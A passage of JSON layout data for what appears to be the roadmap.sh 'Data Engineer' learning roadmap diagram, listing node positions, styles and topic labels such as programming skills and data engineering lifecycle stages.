\"d5xaU63Vja_LM1-1wi6UY\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -550.6381872719935, \"y\": 1331.400748222349 },\n      \"width\": 178,\n      \"height\": 248,\n      \"style\": { \"width\": 166, \"height\": 248.5 },\n      \"selected\": true,\n      \"data\": {\n        \"oldId\": \"7mK4gn7IQIyk43TPSni85\",\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 178, \"height\": 248 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"7mK4gn7IQIyk43TPSni85\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -707.6381872719935, \"y\": 1330.400748222349 },\n      \"width\": 167,\n      \"height\": 249,\n      \"style\": { \"width\": 166, \"height\": 248.5 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" }\n      },\n      \"measured\": { \"width\": 167, \"height\": 249 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"id\": \"vglx550xcT2b10gmc4kvd\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -80.33024547901266, \"y\": 1134.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 20,\n      \"measured\": { \"width\": 174, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_Yb67e4cO4z0j1r5Gcl_8\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 111.8618127280065, \"y\": 1030.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 278,\n      \"height\": 226,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 278, \"height\": 226 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qmoa4aVU7AjkVS7Fpht4l\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -389.65617469518475, \"y\": 521.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 20,\n      \"measured\": { \"width\": 116, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Xw3wTH7G8HOLrM8Xf90xw\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -444.1381872719935, \"y\": 295.1994674818744 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 97,\n      \"measured\": { \"width\": 20, \"height\": 97 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"nLRsy0NIuNg0tEV2Ud3Wf\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -518.6381872719935, \"y\": 295.1994674818744 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Xw3wTH7G8HOLrM8Xf90xw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 97,\n      \"measured\": { \"width\": 20, \"height\": 97 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZBKpvBibWKdMwM4LaL-ae\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -597.1381872719935, \"y\": 295.1994674818744 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Xw3wTH7G8HOLrM8Xf90xw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 97,\n      \"measured\": { \"width\": 20, \"height\": 97 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1DLvrKbcHi1M6LN9AXXks\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -678.6381872719935, \"y\": 295.1994674818744 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Xw3wTH7G8HOLrM8Xf90xw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 97,\n      \"measured\": { \"width\": 20, \"height\": 97 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9CPcys38Ir077u37jFe02\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": -121.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 301,\n      \"height\": 178,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 301, \"height\": 178 },\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7aSscXd-UMNWOX7A_vxYh\",\n      \"type\": \"title\",\n      \"position\": { \"x\": -286.6381872719935, \"y\": -28.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Engineer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 224, \"height\": 68 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_LvWarjrzvIOi8StMezyM\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -184.6381872719935, \"y\": -135.5992517776511 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 102,\n      \"measured\": { \"width\": 20, \"height\": 102 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JqcGwkk1cuTnXA8SHpTKr\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -622.6381872719935, \"y\": -107.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pre-requisites\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 124, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PUVM4XqV7j5nXBAbIAKwG\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -697.1381872719935, \"y\": -64.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#fdff9e\",\n        \"borderColor\": \"#000000\",\n        \"oldId\": \"QVnfsLmVBGkuXUGm5NK9T\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"dragging\": false,\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Cj1uO2k_hO5eIQ77jxY6c\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -697.1381872719935, \"y\": -12.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SQL Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#fdff9e\",\n        \"borderColor\": \"#000000\",\n        \"oldId\": \"QVnfsLmVBGkuXUGm5NK9T\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"dragging\": false,\n      \"width\": 273,\n      \"height\": 49,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"iAWm99EoRnpzLlw6XDuaf\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 66.40074822234891 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"lqPv6L8d6CyHcC0Yvk6Wh\",\n            \"label\": \"Data Analyst Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          },\n          {\n            \"id\": \"JgDMCkyrhYOqMWSQpf8XB\",\n            \"label\": \"AI & Data Scientist Roadmap\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 301, \"height\": 128 },\n      \"dragging\": false,\n      \"width\": 301,\n      \"height\": 128,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -302.1381872719935, \"y\": 142.4007482223489 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fY8LEcCRTKUVEqLH1Qlc0\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 255, \"height\": 49 },\n      \"width\": 255,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WB2PRVI9C6RIbJ6l9zdbd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 36.40074822234891 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Data Engineering?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"measured\": { \"width\": 323, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jJukG4XxfFcID_VlQKqe-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 89.40074822234891 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Engineering vs Data Science\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"measured\": { \"width\": 323, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3BxbkrBp8veZj38zdwN8s\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 142.4007482223489 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Skills and Responsibilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_MpdVlvvkrsgzigYMZ_P8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"measured\": { \"width\": 323, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Ouph2bHeLQsrHl45ar4Cs\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 195.4007482223489 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Engineering Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_MpdVlvvkrsgzigYMZ_P8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"measured\": { \"width\": 323, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_MpdVlvvkrsgzigYMZ_P8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 248.4007482223489 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Choosing the Right Technologies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"measured\": { \"width\": 323, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3RGGe_znOO7o1Bx0yHaJo\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -275.1381872719935, \"y\": 356.2533302680731 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Learn the Basics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"Eb27y_lyYTsfxK5heaMDJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 201, \"height\": 67 },\n      \"dragging\": false,\n      \"width\": 201,\n      \"height\": 67,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_2Ofq3Df-VRXDgKyveZ0U\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -706.6381872719935, \"y\": 365.2533302680731 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Programming Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"measured\": { \"width\": 298, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ILs5azr4L_uLK0CDFKVaz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 268.74301004867516 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 85,\n      \"height\": 49,\n      \"style\": { \"width\": 97 },\n      \"measured\": { \"width\": 85, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"LZ4t8CoCjGWMzE0hScTGZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -622.1381872719935, \"y\": 268.74301004867516 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 70,\n      \"height\": 49,\n      \"style\": { \"width\": 97 },\n      \"measured\": { \"width\": 70, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WHJXJ5ukJd-tK_3LFLJBg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -548.1381872719935, \"y\": 268.74301004867516 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scala\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 80,\n      \"height\": 49,\n      \"style\": { \"width\": 97 },\n      \"measured\": { \"width\": 80, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"4z2i5NXTo9h3YY0kJvRrz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -464.1381872719935, \"y\": 268.74301004867516 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 58,\n      \"height\": 49,\n      \"style\": { \"width\": 97 },\n      \"measured\": { \"width\": 58, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"LHYlJm76avsuHeDwY1vHe\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 225.74301004867516 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python is recommended\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"7uHrybHGkOUuyoQQgLGYJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 202, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fqmn6DPOA5MH7UWYv6ayn\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.2893559278165, \"y\": 419.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Structures and Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"02TADW_PPVtTU_rWV3jf1\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.2893559278165, \"y\": 472.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Git and GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"FXQ_QsljK59zDULLgTqCB\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.2893559278165, \"y\": 525.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linux Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cgkzFMmQils2sYj4NW8VW\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.2893559278165, \"y\": 578.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"c1dadtQgbqXwcsQhI6de0\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -705.2893559278165, \"y\": 631.8926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Distributed Systems Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 294,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 294, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"AWf1y87pd1JFW71cZ_iE1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 424.6140537443358 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Generation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KeGCHoJRHp-mBX-P5to4Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wydtifF3ZhMWCbVt8Hd2t\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 477.6140537443358 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CvCOkyWcgzaUJec_v5F4L\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 530.6140537443358 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Ingestion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RspQLpkICyHUmthLlxQ84\"\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"RspQLpkICyHUmthLlxQ84\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.3618127280065, \"y\": 583.6140537443358 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Serving\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 285,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 285, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -302.33024547901266, \"y\": 507.3926067918103 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data Engineering Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 294 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"c-8xPm4Hcxk6bu-spZqtD\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -399.65617469518475, \"y\": 365.2533302680731 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 312,\n      \"measured\": { \"width\": 20, \"height\": 312 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MblX8vlhGUMnrbw6D9DTT\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -389.65617469518475, \"y\": 379.7533302680731 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"qmoa4aVU7AjkVS7Fpht4l\"\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 20,\n      \"measured\": { \"width\": 116, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9SbpGyh3xssxC1DUD_2Ev\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 377.667592083847, \"y\": 